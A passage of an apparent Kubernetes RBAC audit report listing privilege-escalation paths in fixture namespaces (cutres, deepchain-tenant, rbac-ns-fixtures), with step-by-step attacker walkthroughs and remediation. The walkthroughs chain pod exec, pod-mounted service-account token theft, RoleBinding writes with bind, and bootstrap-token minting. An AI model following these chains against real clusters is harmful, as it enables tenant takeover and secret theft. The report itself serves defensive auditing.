    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-ephemeral (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 6.6
ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `cutres` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: Namespace/cutres/cutres

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
3. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-pod-exec (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 6.6
ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `deepchain-tenant` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
3. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-pod-exec (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 6.6
ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
3. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-exec (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Namespace 6.5
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `cutres` in 4 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Resource: Namespace/cutres/cutres

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
4. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

